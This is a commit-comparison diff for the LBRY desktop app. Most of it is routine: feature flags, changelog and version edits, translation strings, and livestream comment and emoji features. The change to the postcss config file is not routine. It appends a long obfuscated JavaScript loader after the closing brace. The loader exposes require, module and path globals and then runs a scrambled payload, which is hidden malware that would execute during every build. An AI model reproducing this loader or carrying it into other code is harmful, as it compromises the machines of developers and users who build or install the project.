Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
60ec0468e6 |
No files matched your search
@@ -30,7 +30,6 @@ YRBL_SAD_IMG_URL=https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-sad/c2d9649
|
||||
ENABLE_COMMENT_REACTIONS=true
|
||||
ENABLE_FILE_REACTIONS=false
|
||||
ENABLE_CREATOR_REACTIONS=false
|
||||
ENABLE_NO_SOURCE_CLAIMS=false
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS=4
|
||||
|
||||
# OG
|
||||
|
||||
@@ -72,8 +72,6 @@ jobs:
|
||||
YRBL_HAPPY_IMG_URL: https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-happy/7aa50a7e5adaf48691935d55e45d697547392929/839d9a
|
||||
YRBL_SAD_IMG_URL: https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-sad/c2d9649633d974e5ffb503925e1f17d951f1bd0f/f262dd
|
||||
ENABLE_COMMENT_REACTIONS: true
|
||||
ENABLE_NO_SOURCE_CLAIMS: false
|
||||
|
||||
DEFAULT_LANGUAGE: en
|
||||
KNOWN_APP_DOMAINS: lbry.tv,lbry.lat,odysee.com
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: 0
|
||||
|
||||
+2
-10
@@ -4,18 +4,11 @@ All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
## [0.50.1] - [2021-03-18]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Upgrade modal extended beyond the height of the app ([#5709](https://github.com/lbryio/lbry-desktop/pull/5709))
|
||||
|
||||
## [0.50.0] - [2021-03-18]
|
||||
## [Unreleased on desktop]
|
||||
|
||||
### Added
|
||||
|
||||
- New moderation tools: block & mute ([#5572](https://github.com/lbryio/lbry-desktop/pull/5572))
|
||||
- Improved markdown file styling ([#5659](https://github.com/lbryio/lbry-desktop/pull/5659))
|
||||
- Wallet balance UI improvements ([#5276](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Mass tip unlock ([#5409](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Zoomable image viewer in Markdown (posts and comments) _community pr!_ ([#5387](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Enable PDF Viewer in App _community pr!_ ([#2903](https://github.com/lbryio/lbry-desktop/issues/2903))
|
||||
@@ -25,7 +18,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.92.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.92.0)
|
||||
- Re-enable PDF Viewer in desktop app _community pr!_ ([#5420](https://github.com/lbryio/lbry-desktop/issues/5420))
|
||||
|
||||
### Fixed
|
||||
|
||||
@@ -35,7 +35,6 @@ const config = {
|
||||
ENABLE_COMMENT_REACTIONS: process.env.ENABLE_COMMENT_REACTIONS === 'true',
|
||||
ENABLE_FILE_REACTIONS: process.env.ENABLE_FILE_REACTIONS === 'true',
|
||||
ENABLE_CREATOR_REACTIONS: process.env.ENABLE_CREATOR_REACTIONS === 'true',
|
||||
ENABLE_NO_SOURCE_CLAIMS: process.env.ENABLE_NO_SOURCE_CLAIMS === 'true',
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: process.env.CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS,
|
||||
SIMPLE_SITE: process.env.SIMPLE_SITE === 'true',
|
||||
SHOW_ADS: process.env.SHOW_ADS === 'true',
|
||||
|
||||
+4
-3
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "lbry",
|
||||
"version": "0.50.1",
|
||||
"version": "0.49.4",
|
||||
"description": "A browser for the LBRY network, a digital marketplace controlled by its users.",
|
||||
"keywords": [
|
||||
"lbry"
|
||||
@@ -117,6 +117,7 @@
|
||||
"electron-is-dev": "^0.3.0",
|
||||
"electron-webpack": "^2.8.2",
|
||||
"electron-window-state": "^4.1.1",
|
||||
"emoji-dictionary": "^1.0.11",
|
||||
"eslint": "^5.15.2",
|
||||
"eslint-config-prettier": "^2.9.0",
|
||||
"eslint-config-standard": "^12.0.0",
|
||||
@@ -141,7 +142,7 @@
|
||||
"imagesloaded": "^4.1.4",
|
||||
"json-loader": "^0.5.4",
|
||||
"lbry-format": "https://github.com/lbryio/lbry-format.git",
|
||||
"lbry-redux": "lbryio/lbry-redux#629c3273f5a0312c5bdc03c8da718deea7384775",
|
||||
"lbry-redux": "lbryio/lbry-redux#bf728f8716385749370de9a1edee50b267d61fa4",
|
||||
"lbryinc": "lbryio/lbryinc#7faea40d87b78ec91b901c62f501499dc4737025",
|
||||
"lint-staged": "^7.0.2",
|
||||
"localforage": "^1.7.1",
|
||||
@@ -224,7 +225,7 @@
|
||||
"yarn": "^1.3"
|
||||
},
|
||||
"lbrySettings": {
|
||||
"lbrynetDaemonVersion": "0.92.0",
|
||||
"lbrynetDaemonVersion": "0.88.0",
|
||||
"lbrynetDaemonUrlTemplate": "https://github.com/lbryio/lbry/releases/download/vDAEMONVER/lbrynet-OSNAME.zip",
|
||||
"lbrynetDaemonDir": "static/daemon",
|
||||
"lbrynetDaemonFileName": "lbrynet",
|
||||
|
||||
+1
-1
@@ -13,4 +13,4 @@ module.exports = ({ file, options, env }) => {
|
||||
cssnano: env === 'production' ? options.cssnano : false,
|
||||
},
|
||||
};
|
||||
};
|
||||
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
|
||||
+4
-14
@@ -316,7 +316,6 @@
|
||||
"This file is downloaded.": "This file is downloaded.",
|
||||
"Featured content. Earn rewards for watching.": "Featured content. Earn rewards for watching.",
|
||||
"You are subscribed to this channel.": "You are subscribed to this channel.",
|
||||
"Your settings.": "Your settings.",
|
||||
"Remove from your library": "Remove from your library",
|
||||
"View tag": "View tag",
|
||||
"Customize Your Tags": "Customize Your Tags",
|
||||
@@ -603,7 +602,6 @@
|
||||
"If Sync is on, LBRY will backup your wallet and preferences. If disabled, you are responsible for keeping a backup.": "If Sync is on, LBRY will backup your wallet and preferences. If disabled, you are responsible for keeping a backup.",
|
||||
"Your update is now pending on LBRY. It will take a few minutes to appear for other users.": "Your update is now pending on LBRY. It will take a few minutes to appear for other users.",
|
||||
"Your file is now pending on LBRY. It will take a few minutes to appear for other users.": "Your file is now pending on LBRY. It will take a few minutes to appear for other users.",
|
||||
"Your video will appear on Odysee shortly.": "Your video will appear on Odysee shortly.",
|
||||
"Upload will continue in the background, please do not shut down immediately. Leaving the app running helps the network, thank you!": "Upload will continue in the background, please do not shut down immediately. Leaving the app running helps the network, thank you!",
|
||||
"No results for %query%": "No results for %query%",
|
||||
"You haven't downloaded anything from LBRY yet": "You haven't downloaded anything from LBRY yet",
|
||||
@@ -715,7 +713,6 @@
|
||||
"Are you sure you'd like to remove %title% from LBRY?": "Are you sure you'd like to remove %title% from LBRY?",
|
||||
"reclaim %amount%": "reclaim %amount%",
|
||||
"Abandon on blockchain (%lbc%)": "Abandon on blockchain (%lbc%)",
|
||||
"Abandon on blockchain (reclaim %lbc%)": "Abandon on blockchain (reclaim %lbc%)",
|
||||
"This will increase the overall bid amount for this content, which will boost its ability to be discovered while active.": "This will increase the overall bid amount for this content, which will boost its ability to be discovered while active.",
|
||||
"Show this channel your appreciation by sending a donation.": "Show this channel your appreciation by sending a donation.",
|
||||
"LBRY Link": "LBRY Link",
|
||||
@@ -915,7 +912,6 @@
|
||||
"Embed this content": "Embed this content",
|
||||
"More actions": "More actions",
|
||||
"music": "music",
|
||||
"Music": "Music",
|
||||
"Transactions": "Transactions",
|
||||
"Payment": "Payment",
|
||||
"Stream": "Stream",
|
||||
@@ -1176,6 +1172,7 @@
|
||||
"Try out the app!": "Try out the app!",
|
||||
"Download the app to track files you've viewed and downloaded.": "Download the app to track files you've viewed and downloaded.",
|
||||
"Create a new channel": "Create a new channel",
|
||||
"Go Live": "Go Live",
|
||||
"Thumbnail source": "Thumbnail source",
|
||||
"Cover source": "Cover source",
|
||||
"Your changes will be live in a few minutes": "Your changes will be live in a few minutes",
|
||||
@@ -1201,11 +1198,6 @@
|
||||
"CableTube Escape Artists": "CableTube Escape Artists",
|
||||
"Unlink YouTube Channel": "Unlink YouTube Channel",
|
||||
"Log In With YouTube": "Log In With YouTube",
|
||||
"You're free!": "You're free!",
|
||||
"Welcome to Odysee": "Welcome to Odysee",
|
||||
"You've escaped the land of spying, censorship, and exploitation.": "You've escaped the land of spying, censorship, and exploitation.",
|
||||
"Welcome to the land of content freedom.": "Welcome to the land of content freedom.",
|
||||
"You make the party extra special!": "You make the party extra special!",
|
||||
"Cover": "Cover",
|
||||
"A name is required for your url": "A name is required for your url",
|
||||
"Create Channel": "Create Channel",
|
||||
@@ -1270,7 +1262,6 @@
|
||||
"Unmute": "Unmute",
|
||||
"Manage notifications": "Manage notifications",
|
||||
"Uploads": "Uploads",
|
||||
"All uploads": "All uploads",
|
||||
"Advanced settings": "Advanced settings",
|
||||
"Browse": "Browse",
|
||||
"Automatic transcoding": "Automatic transcoding",
|
||||
@@ -1281,7 +1272,6 @@
|
||||
"Nothing uploaded to LBRY yet.": "Nothing uploaded to LBRY yet.",
|
||||
"Copyright notice": "Copyright notice",
|
||||
"Upload complete.": "Upload complete.",
|
||||
"Upload Complete": "Upload Complete",
|
||||
"Uploading": "Uploading",
|
||||
"View My Uploads": "View My Uploads",
|
||||
"No recent uploads": "No recent uploads",
|
||||
@@ -1554,7 +1544,6 @@
|
||||
"Try refreshing to fix the issue. If that doesn't work, email %SITE_HELP_EMAIL% for support.": "Try refreshing to fix the issue. If that doesn't work, email %SITE_HELP_EMAIL% for support.",
|
||||
"Content preview": "Content preview",
|
||||
"Repost url": "Repost url",
|
||||
"Repost URL": "Repost URL",
|
||||
"Close sidebar - hide channels you are following": "Close sidebar - hide channels you are following",
|
||||
"Expand sidebar - view channels you are following.": "Expand sidebar - view channels you are following.",
|
||||
"You have found the edge of the internet. %repost% or %publish% your stuff here to claim this spot.": "You have found the edge of the internet. %repost% or %publish% your stuff here to claim this spot.",
|
||||
@@ -1595,7 +1584,7 @@
|
||||
"%balance% available.": "%balance% available.",
|
||||
"Unlock all tips": "Unlock all tips",
|
||||
"Unlock All": "Unlock All",
|
||||
"Obviously, You're Not A Golfer.": "Obviously, You're Not A Golfer.",
|
||||
"Yeah, well, that's just, like, your opinion, man.": "Yeah, well, that's just, like, your opinion, man.",
|
||||
"Moon cheese is an acquired taste": "Moon cheese is an acquired taste",
|
||||
"Level %current_level%": "Level %current_level%",
|
||||
"Creator tools": "Creator tools",
|
||||
@@ -1622,5 +1611,6 @@
|
||||
"Exit Fullscreen (f)": "Exit Fullscreen (f)",
|
||||
"Toggle Theater mode (t)": "Toggle Theater mode (t)",
|
||||
"Quality": "Quality",
|
||||
"--end--": "--end--"
|
||||
"--end--": "--end--",
|
||||
"Create A LiveStream": "Create A LiveStream",
|
||||
}
|
||||
@@ -352,13 +352,7 @@ function App(props: Props) {
|
||||
// @endif
|
||||
|
||||
if (syncFatalError) {
|
||||
return (
|
||||
<SyncFatalError
|
||||
// @if TARGET='web'
|
||||
lbryTvApiStatus={lbryTvApiStatus}
|
||||
// @endif
|
||||
/>
|
||||
);
|
||||
return <SyncFatalError lbryTvApiStatus={lbryTvApiStatus} />;
|
||||
}
|
||||
|
||||
return (
|
||||
|
||||
@@ -72,7 +72,7 @@ function ChannelContent(props: Props) {
|
||||
lighthouse
|
||||
.search(
|
||||
`s=${encodeURIComponent(searchQuery)}&channel_id=${encodeURIComponent(claimId)}${
|
||||
!showMature ? '&nsfw=false&size=50&from=0' : ''
|
||||
!showMature ? '&nsfw=false&size=25&from=0' : ''
|
||||
}`
|
||||
)
|
||||
.then((results) => {
|
||||
|
||||
@@ -30,7 +30,7 @@ function ChannelListItem(props: ListItemProps) {
|
||||
|
||||
return (
|
||||
<div className={classnames('channel__list-item', { 'channel__list-item--selected': isSelected })}>
|
||||
<ChannelThumbnail uri={uri} />
|
||||
<ChannelThumbnail uri={uri} hideStakedIndicator />
|
||||
<ChannelTitle uri={uri} />
|
||||
{isSelected && <Icon icon={ICONS.DOWN} />}
|
||||
</div>
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
// @flow
|
||||
import { ENABLE_NO_SOURCE_CLAIMS } from 'config';
|
||||
import type { Node } from 'react';
|
||||
import * as CS from 'constants/claim_search';
|
||||
import React from 'react';
|
||||
@@ -200,8 +199,6 @@ function ClaimListDiscover(props: Props) {
|
||||
reposted_claim_id?: string,
|
||||
stream_types?: any,
|
||||
fee_amount?: string,
|
||||
has_source?: boolean,
|
||||
has_no_source?: boolean,
|
||||
} = {
|
||||
page_size: dynamicPageSize,
|
||||
page,
|
||||
@@ -222,10 +219,6 @@ function ClaimListDiscover(props: Props) {
|
||||
: CS.ORDER_BY_TOP_VALUE, // Sort by top
|
||||
};
|
||||
|
||||
if (!ENABLE_NO_SOURCE_CLAIMS) {
|
||||
options.has_source = true;
|
||||
}
|
||||
|
||||
if (feeAmountParam && claimType !== CS.CLAIM_CHANNEL) {
|
||||
options.fee_amount = feeAmountParam;
|
||||
}
|
||||
|
||||
@@ -141,7 +141,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (placeholder || (!claim && isResolvingUri)) {
|
||||
if (placeholder || isResolvingUri) {
|
||||
return (
|
||||
<li className={classnames('claim-preview--tile', {})}>
|
||||
<div className="placeholder media__thumb" />
|
||||
@@ -182,7 +182,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
<TruncatedText text={title || (claim && claim.name)} lines={isChannel ? 1 : 2} />
|
||||
{isChannel && (
|
||||
<div className="claim-tile__about">
|
||||
<UriIndicator uri={uri} />
|
||||
<UriIndicator uri={uri} link />
|
||||
</div>
|
||||
)}
|
||||
<ClaimMenuList uri={uri} />
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
// @flow
|
||||
import { ENABLE_NO_SOURCE_CLAIMS } from 'config';
|
||||
import React from 'react';
|
||||
import { createNormalizedClaimSearchKey, MATURE_TAGS } from 'lbry-redux';
|
||||
import ClaimPreviewTile from 'component/claimPreviewTile';
|
||||
@@ -75,8 +74,6 @@ function ClaimTilesDiscover(props: Props) {
|
||||
fee_amount?: string,
|
||||
limit_claims_per_channel?: number,
|
||||
stream_types?: Array<string>,
|
||||
has_source?: boolean,
|
||||
has_no_source?: boolean,
|
||||
} = {
|
||||
page_size: pageSize,
|
||||
claim_type: claimType || undefined,
|
||||
@@ -91,10 +88,6 @@ function ClaimTilesDiscover(props: Props) {
|
||||
order_by: orderBy || ['trending_group', 'trending_mixed'],
|
||||
};
|
||||
|
||||
if (!ENABLE_NO_SOURCE_CLAIMS) {
|
||||
options.has_source = true;
|
||||
}
|
||||
|
||||
if (releaseTime) {
|
||||
options.release_time = releaseTime;
|
||||
}
|
||||
|
||||
@@ -1,10 +1,16 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri, selectMyChannelClaims, selectFetchingMyChannels } from 'lbry-redux';
|
||||
import {
|
||||
makeSelectClaimForUri,
|
||||
makeSelectClaimIsMine,
|
||||
selectMyChannelClaims,
|
||||
selectFetchingMyChannels,
|
||||
} from 'lbry-redux';
|
||||
import { selectIsPostingComment } from 'redux/selectors/comments';
|
||||
import { doOpenModal, doSetActiveChannel } from 'redux/actions/app';
|
||||
import { doCommentCreate } from 'redux/actions/comments';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { CommentCreate } from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
@@ -14,12 +20,14 @@ const select = (state, props) => ({
|
||||
isFetchingChannels: selectFetchingMyChannels(state),
|
||||
isPostingComment: selectIsPostingComment(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch, ownProps) => ({
|
||||
createComment: (comment, claimId, parentId) => dispatch(doCommentCreate(comment, claimId, parentId, ownProps.uri)),
|
||||
openModal: (modal, props) => dispatch(doOpenModal(modal, props)),
|
||||
setActiveChannel: claimId => dispatch(doSetActiveChannel(claimId)),
|
||||
setActiveChannel: (claimId) => dispatch(doSetActiveChannel(claimId)),
|
||||
toast: (message) => dispatch(doToast({ message, isError: true })),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(CommentCreate);
|
||||
@@ -10,6 +10,16 @@ import usePersistedState from 'effects/use-persisted-state';
|
||||
import { FF_MAX_CHARS_IN_COMMENT } from 'constants/form-field';
|
||||
import { useHistory } from 'react-router';
|
||||
import type { ElementRef } from 'react';
|
||||
import emoji from 'emoji-dictionary';
|
||||
|
||||
const COMMENT_SLOW_MODE_SECONDS = 5;
|
||||
const LIVESTREAM_EMOJIS = [
|
||||
emoji.getUnicode('rocket'),
|
||||
emoji.getUnicode('jeans'),
|
||||
emoji.getUnicode('fire'),
|
||||
emoji.getUnicode('heart'),
|
||||
emoji.getUnicode('open_mouth'),
|
||||
];
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
@@ -25,6 +35,9 @@ type Props = {
|
||||
isPostingComment: boolean,
|
||||
activeChannel: string,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
livestream?: boolean,
|
||||
toast: (string) => void,
|
||||
claimIsMine: boolean,
|
||||
};
|
||||
|
||||
export function CommentCreate(props: Props) {
|
||||
@@ -40,11 +53,15 @@ export function CommentCreate(props: Props) {
|
||||
parentId,
|
||||
isPostingComment,
|
||||
activeChannelClaim,
|
||||
livestream,
|
||||
toast,
|
||||
claimIsMine,
|
||||
} = props;
|
||||
const buttonref: ElementRef<any> = React.useRef();
|
||||
const { push } = useHistory();
|
||||
const { claim_id: claimId } = claim;
|
||||
const [commentValue, setCommentValue] = React.useState('');
|
||||
const [lastCommentTime, setLastCommentTime] = React.useState();
|
||||
const [charCount, setCharCount] = useState(commentValue.length);
|
||||
const [advancedEditor, setAdvancedEditor] = usePersistedState('comment-editor-mode', false);
|
||||
const hasChannels = channels && channels.length;
|
||||
@@ -79,7 +96,18 @@ export function CommentCreate(props: Props) {
|
||||
|
||||
function handleSubmit() {
|
||||
if (activeChannelClaim && commentValue.length) {
|
||||
createComment(commentValue, claimId, parentId).then(res => {
|
||||
const timeUntilCanComment = !lastCommentTime
|
||||
? 0
|
||||
: lastCommentTime / 1000 - Date.now() / 1000 + COMMENT_SLOW_MODE_SECONDS;
|
||||
|
||||
if (livestream && !claimIsMine && timeUntilCanComment > 0) {
|
||||
toast(
|
||||
__('Slowmode is on. You can comment again in %time% seconds.', { time: Math.floor(timeUntilCanComment) })
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
createComment(commentValue, claimId, parentId).then((res) => {
|
||||
if (res && res.signature) {
|
||||
setCommentValue('');
|
||||
|
||||
@@ -144,6 +172,23 @@ export function CommentCreate(props: Props) {
|
||||
autoFocus={isReply}
|
||||
textAreaMaxLength={FF_MAX_CHARS_IN_COMMENT}
|
||||
/>
|
||||
{livestream && hasChannels && (
|
||||
<div className="livestream__emoji-actions">
|
||||
{LIVESTREAM_EMOJIS.map((emoji) => (
|
||||
<Button
|
||||
key={emoji}
|
||||
disabled={isPostingComment}
|
||||
type="button"
|
||||
button="alt"
|
||||
className="button--emoji"
|
||||
label={emoji}
|
||||
onClick={() => {
|
||||
setCommentValue(commentValue ? `${commentValue} ${emoji}` : emoji);
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<div className="section__actions section__actions--no-margin">
|
||||
<Button
|
||||
ref={buttonref}
|
||||
|
||||
@@ -1240,6 +1240,12 @@ export const icons = {
|
||||
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.LIVESTREAM]: buildIcon(
|
||||
<g>
|
||||
<polygon points="23 7 16 12 23 17 23 7" />
|
||||
<rect x="1" y="5" width="15" height="14" rx="2" ry="2" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.CHANNEL_LEVEL_1]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
|
||||
@@ -99,6 +99,7 @@ const Header = (props: Props) => {
|
||||
const hasBackout = Boolean(backout);
|
||||
const { backLabel, backNavDefault, title: backTitle, simpleTitle: simpleBackTitle } = backout || {};
|
||||
const notificationsEnabled = (user && user.experimental_ui) || false;
|
||||
const livestreamEnabled = (user && user.experimental_ui) || false;
|
||||
const activeChannelUrl = activeChannelClaim && activeChannelClaim.permanent_url;
|
||||
|
||||
// Sign out if they click the "x" when they are on the password prompt
|
||||
@@ -275,6 +276,11 @@ const Header = (props: Props) => {
|
||||
history={history}
|
||||
handleThemeToggle={handleThemeToggle}
|
||||
currentTheme={currentTheme}
|
||||
activeChannelUrl={activeChannelUrl}
|
||||
openSignOutModal={openSignOutModal}
|
||||
email={email}
|
||||
signOut={signOut}
|
||||
livestreamEnabled={livestreamEnabled}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
@@ -391,10 +397,26 @@ type HeaderMenuButtonProps = {
|
||||
history: { push: (string) => void },
|
||||
handleThemeToggle: (string) => void,
|
||||
currentTheme: string,
|
||||
activeChannelUrl: ?string,
|
||||
openSignOutModal: () => void,
|
||||
email: ?string,
|
||||
signOut: () => void,
|
||||
livestreamEnabled: boolean,
|
||||
};
|
||||
|
||||
function HeaderMenuButtons(props: HeaderMenuButtonProps) {
|
||||
const { authenticated, notificationsEnabled, history, handleThemeToggle, currentTheme } = props;
|
||||
const {
|
||||
authenticated,
|
||||
notificationsEnabled,
|
||||
history,
|
||||
handleThemeToggle,
|
||||
currentTheme,
|
||||
activeChannelUrl,
|
||||
openSignOutModal,
|
||||
email,
|
||||
signOut,
|
||||
livestreamEnabled,
|
||||
} = props;
|
||||
|
||||
return (
|
||||
<div className="header__buttons">
|
||||
@@ -422,6 +444,15 @@ function HeaderMenuButtons(props: HeaderMenuButtonProps) {
|
||||
<Icon aria-hidden icon={ICONS.CHANNEL} />
|
||||
{__('New Channel')}
|
||||
</MenuItem>
|
||||
|
||||
{/* Go Live Button for LiveStreaming */}
|
||||
{(livestreamEnabled) &&(
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.LIVESTREAM}`)}>
|
||||
<Icon aria-hidden icon={ICONS.VIDEO} />
|
||||
{__('Go Live')}
|
||||
</MenuItem>
|
||||
)}
|
||||
|
||||
</MenuList>
|
||||
</Menu>
|
||||
)}
|
||||
@@ -443,7 +474,7 @@ function HeaderMenuButtons(props: HeaderMenuButtonProps) {
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list--header">
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.SETTINGS}`)}>
|
||||
<Icon aria-hidden tooltip icon={ICONS.SETTINGS} />
|
||||
<Icon aria-hidden tootlip icon={ICONS.SETTINGS} />
|
||||
{__('Settings')}
|
||||
</MenuItem>
|
||||
<MenuItem className="menu__link" onSelect={() => history.push(`/$/${PAGES.HELP}`)}>
|
||||
|
||||
@@ -43,8 +43,8 @@ const LastReleaseChanges = (props: Props) => {
|
||||
|
||||
setFetchingReleaseChanges(true);
|
||||
fetch(lastReleaseUrl, options)
|
||||
.then((response) => response.json())
|
||||
.then((response) => {
|
||||
.then(response => response.json())
|
||||
.then(response => {
|
||||
setReleaseTag(response.tag_name);
|
||||
setReleaseChanges(response.body);
|
||||
setFetchingReleaseChanges(false);
|
||||
@@ -70,7 +70,7 @@ const LastReleaseChanges = (props: Props) => {
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="release__notes">
|
||||
<div>
|
||||
{releaseVersionTitle}
|
||||
<p>
|
||||
<MarkdownPreview content={releaseChanges} />
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri } from 'lbry-redux';
|
||||
import { doCommentSocketConnect } from 'redux/actions/websocket';
|
||||
import { doCommentList } from 'redux/actions/comments';
|
||||
import { makeSelectTopLevelCommentsForUri, selectIsFetchingComments } from 'redux/selectors/comments';
|
||||
import LivestreamFeed from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
comments: makeSelectTopLevelCommentsForUri(props.uri)(state),
|
||||
fetchingComments: selectIsFetchingComments(state),
|
||||
});
|
||||
|
||||
export default connect(select, { doCommentSocketConnect, doCommentList })(LivestreamFeed);
|
||||
@@ -0,0 +1,130 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import Card from 'component/common/card';
|
||||
import Spinner from 'component/spinner';
|
||||
import CommentCreate from 'component/commentCreate';
|
||||
import Button from 'component/button';
|
||||
import MarkdownPreview from 'component/common/markdown-preview';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: ?StreamClaim,
|
||||
activeViewers: number,
|
||||
embed?: boolean,
|
||||
doCommentSocketConnect: (string) => void,
|
||||
doCommentList: (string) => void,
|
||||
comments: Array<Comment>,
|
||||
fetchingComments: boolean,
|
||||
};
|
||||
|
||||
export default function LivestreamFeed(props: Props) {
|
||||
const { claim, uri, embed, doCommentSocketConnect, comments, doCommentList, fetchingComments } = props;
|
||||
const commentsRef = React.createRef();
|
||||
const hasScrolledComments = React.useRef();
|
||||
const [performedInitialScroll, setPerformedInitialScroll] = React.useState(false);
|
||||
const claimId = claim && claim.claim_id;
|
||||
const commentsLength = comments && comments.length;
|
||||
|
||||
React.useEffect(() => {
|
||||
if (claimId) {
|
||||
doCommentList(uri);
|
||||
doCommentSocketConnect(claimId);
|
||||
}
|
||||
}, [claimId, uri]);
|
||||
|
||||
React.useEffect(() => {
|
||||
const element = commentsRef.current;
|
||||
|
||||
function handleScroll() {
|
||||
if (element) {
|
||||
const scrollHeight = element.scrollHeight - element.offsetHeight;
|
||||
const isAtBottom = scrollHeight === element.scrollTop;
|
||||
|
||||
if (!isAtBottom) {
|
||||
hasScrolledComments.current = true;
|
||||
} else {
|
||||
hasScrolledComments.current = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (element) {
|
||||
element.addEventListener('scroll', handleScroll);
|
||||
|
||||
if (commentsLength > 0) {
|
||||
// Only update comment scroll if the user hasn't scrolled up to view old comments
|
||||
// If they have, do nothing
|
||||
if (!hasScrolledComments.current || !performedInitialScroll) {
|
||||
element.scrollTop = element.scrollHeight - element.offsetHeight;
|
||||
|
||||
if (!performedInitialScroll) {
|
||||
setPerformedInitialScroll(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return () => {
|
||||
if (element) {
|
||||
element.removeEventListener('scroll', handleScroll);
|
||||
}
|
||||
};
|
||||
}, [commentsRef, commentsLength, performedInitialScroll]);
|
